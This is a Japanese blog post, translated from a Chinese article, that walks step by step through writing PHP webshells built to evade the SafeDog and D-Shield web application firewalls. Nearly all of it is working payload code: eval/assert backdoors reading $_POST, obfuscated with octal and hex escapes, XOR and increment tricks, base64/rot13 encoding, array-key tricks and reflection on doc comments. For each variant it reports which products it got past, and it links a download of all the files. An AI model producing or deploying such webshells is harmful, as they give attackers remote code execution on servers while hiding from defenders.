banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

webshell_bypass安全狗、D盾

前言#

最近、Freebuf と合天智汇が WAF を回避する記事を連続して発表している。一般的には見光死で、たまにしか発表しないが、最近は数日間連続で bypass の記事が出ているので、記録しておく。

原文来源: https://mp.weixin.qq.com/s/aAK2pLf3XX8AKz2-UoQbYQ

この記事は原文を一度翻訳し、侵删する。

環境設定と webshell の理解#

image

image

Windows の phpstudy に安全狗を設定する際ここに落とし穴がある。安全狗をインストールする際に設定画面が表示される:

image

赤字の部分は自動的に無視してください。Win7 の場合、まず phpstudy をサービスモードに設定し、サービスに Apache サービスが表示されたら、phpstudy を停止し、手動で Apache サービスを起動すれば安全狗がインストールできる。

Win10 の場合、phpstudy をシステムサービスモードに設定すると、services.msc でも Apache サービスが表示されないので、自分で手動でインストールする必要があります(cmd):

  • cd C:\phpStudy\PHPTutorial\Apache\bin
  • httpd.exe -k install -n apache2.4

その後、apache2.4 サービスを起動すれば、安全狗が認識できる。

bypass を始める前に、webshell の構成を理解しておきましょう:

image

webshell はどのように変化しても、図の 2 つの条件を満たす必要があり、WAF を回避するのはこの 2 つの条件を変化させることによって実現される。

まず、WAF の検出メカニズムをテストします。以下の 3 つのファイルを準備します:

php_1.php:<?php eval($_POST['a']);?>
php_2.php:

<?php
$a = "phpinfo();";
eval($a);?>

php_3.php:<?php $_POST['a'];?>

安全狗で検出してみます:

image

eval を含む敏感な文字と敏感なパラメータの $_POST はウイルスとして報告されていないので、WAF の一部のメカニズムはパラメータ追跡と総合判定であると推測できます。

bypass#

1. キーワード回避

php は非常に強力な言語であり、文字列のさまざまな変化を非常によくサポートしています。

進数変換、16 進数、8 進数などを使用できます。

<?php

$a="\141";#八進数のa
$a .= "\163";#八進数のs
$a .= "\x73";#十六進数のs
$a .= "\x65";#十六進数のe
$a .= "\x72";#十六進数のr
$a .= "\164";#十六進数のt
@$a($_POST["a"]);

?>

なぜ eval ではなく assert を使用するのか:eval は関数ではなく、このような呼び出しをサポートしていません。

これで安全狗を回避しましたが、D 盾は通過できません:

image

2. 算術演算

自増、排他的論理和、反転などの方法を使用して、必要な文字を取得し、関数を組み合わせて動的に呼び出すことができます。

例えば、a を定義し、自増演算を行って他の必要な文字を取得しますが、自減はできないことに注意してください。

image

しかし、この方法では小文字の文字しか取得できず、_POST や_GET を取得することはできません。

PHP では、2 つの文字列が排他的論理和を実行した後、得られるのは依然として文字列です。

したがって、ここでは排他的論理和と反転を使用して、大文字の文字を取得できます。

php スクリプトを書きます:

<?php
$a=array( "|","!", "@", "#", "%", "^", "&", "*", "(",  ")",  "-", "=", "_", "+", "<", ">", "?", "." , "{" , "}", "[", "]", "\\","~","`","/"); //特殊文字
$alength=count($a);

for($x=0;$x<$alength;$x++) {

for($b=0;$b<$alength;$b++){
echo "the result is ".($a[$x]^$a[$b])." the str is ".$a[$x].$a[$b]."<br>"; //出力遍歴排他的論理和の結果
}}
?>

考えられる特殊文字をすべて投入して排他的論理和の結果を得て、必要な文字を取得します。ここでは_POST を取得する例を示します。

_は | と #を使用して排他的論理和を取得できます:

image

その後、一つずつ見つけ出し、得られた結果は:

image

上記の自増を組み合わせることで、以下のコードを得ることができます:

<?php
$_ = ('!'^'@');//a
$__ = $_;
$_++;#b
$_++;#c
$_++;#d
$_++;#e
$____ = $_;
$_++;#f
$_++;#g
$_++;#h
$_++;#i
$_++;#j
$_++;#k
$_++;#l
$_++;#m
$_++;#n
$_++;#o
$_++;#p
$_++;#q
$_++;#r
$___ = $_;
$_++;#s
$__ = $__.$_.$_.$____.$___;
$_++;#t
$__ = $__.$_;//assert
@$_____=('?'^'`').('-'^'}').('/'^'`').('('^'{').('~'^'*');// _POST
@$__(${$_____}[$_]);//t
?>

テストしてみると、安全狗は通過できますが、D 盾は通過できません。しかし、安全レベルは低下しましたが、問題ありません、続けます:

image

3. エンコーディングと結合

base64 および rot13 エンコーディングを使用して、動的関数呼び出しを行い、以下のコードを得ます:

<?php
function moza($hello){
$b ="bmZmcmVn";
$d = str_rot13(base64_decode($b));
@$d($hello);
}
moza($_POST[1]);
?>

安全狗は安定して通過しますが、D 盾はまだ通過できませんが、レベルは再び低下し、二級になりました:

image

上記の内容を組み合わせて、自増演算とパラメータの伝達を用いて検出ルールを破ることができます。

<?php
function moza($a){
$_ = ('!'^'@');//a
$__ = $_;
$_++;$_++;$_++;$_++;$____ = $_;$_++;$_++;$_++;$_++;$_++;$_++;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___ = $_;$_++;
$__ = $__.$_.$_.$____.$___;$_++;$__ = $__.$_;//assert
@$__($a);
}
$a=$_POST[1];
moza($a=$a);
print_r($_);
?>

image

安全狗は再び無圧力で通過し、D 盾のレベルも再び低下し、レベル 1 になり、変数関数が 1 つ報告されました。この点に関して、もう少し改良します。今回は配列の方法を採用し、何度も変換を行い、パラメータの混乱を加えて bypass を達成します。

コードは以下の通り:

<?php
$a1=array("a"=>"red","ss"=>"green","c"=>"blue","er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue","d"=>"pink","er"=>"hellos","moza"=>"good_boy","t"=>"hey");
$result=array_intersect_key($a1,$a2);//配列の交差を取得
$a = array_keys($result);//配列のキーを取得
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['a'];
@$man($kk=$kk);
print_r($a1);//ルールを混乱させる
?>

image

安全狗、D 盾、深信服、360 ホスティングガードをすでに bypass できたことがわかります。

もちろん、これだけではなく、php は本当に柔軟です。

  • uopz_function()
  • uasort()
  • uksort()
  • array_uintersect_uassoc()
  • array_udiff_assoc()
    なども bypass に使用でき、使い方は自分で試すことができます。

大佬は他の 2 つの考え方も示しました:

この一言は、鹏城杯のオフライン競技で現れ、自己増加でキーワードを取得し、クラスを定義し、クラス内の関数を自己呼び出しして bypass を行います。

<?php
error_reporting(0);//エラー表示を除去
class Foo  //FOOという名前のクラスを作成
{
    function Variable($c)
    {
        $name = 'Bar';
        $b=$this->$name(); // Barを呼び出す
        $b($c);
    }
    function Bar()
    {
    	$__='a';
        $a1=$__; //$a1=a;
		$__++;$__++;$__++;$__++;//$a__=e;
		$a2=$__; //$a2=e;
		$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//$__=r;
		$a3=$__++; //$a3=r;$__=s;
		$a4=$__++; //$a4=s;$__=t;
		$a5=$__;   //$a5=$__=t;
		$a=$a1.$a4.$a4.$a2.$a3.$a5; //$a=assert
        return $a; //$aの値を返す
    }
}
function variable(){
	$_='A';
	$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_=O;
	$b1=$_++; //$b1=O;$_=P;
	$b2=$_;   //$b2=$_=P
	$_++;$_++;$_++; //$_=S
	$b3=$_++; //$b3=S;$_=T;
	$b4=$_; //$b4=$_=T;
	$b='_'.$b2.$b1.$b3.$b4;//$b=_POST
	return $b; //$bの値を返す
}
$foo = new Foo(); //fooという名前のオブジェクトを作成
$funcname = "Variable"; //Variableの値を変数funcnameに代入
$bb=${variable()}[variable()]; // $bb=_POST[_POST]);
$foo->$funcname($bb); // $foo->Variable($bb)を呼び出す
?>

もう一つは、PHP のリフレクションメカニズムを利用して、コメントの内容を取得し、assert を組み立てて動的に実行するコードは以下の通りです:

<?php
/**
-
as
-
5
-
se
-
*/
class a{
   function say(){$moza = "good_boy";}
}
$aa = new ReflectionClass(new a());//リフレクションオブジェクトを作成
$arr = explode("*", $aa->getDocComment());//オブジェクトaの注釈を取得
$str = ereg_replace("-","",$arr[2]);//オブジェクトaの注釈を取得
$payload = $str[4].$str[15].$str[15]."ert";//assert
$a = $_POST['a'];@$payload($a=$a);
?>

効果は以下の通りです:

image

このようにして D 盾、安全狗などを bypass することができます。

bypass の考え方はさらにあります:

  • キャッシュに webshell を書く
  • コールバック関数
  • 正規表現マッチングによる回避
  • 無名関数

この記事のすべてのファイルはパッケージ化されています:https://www.lanzous.com/i2xe6pa

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。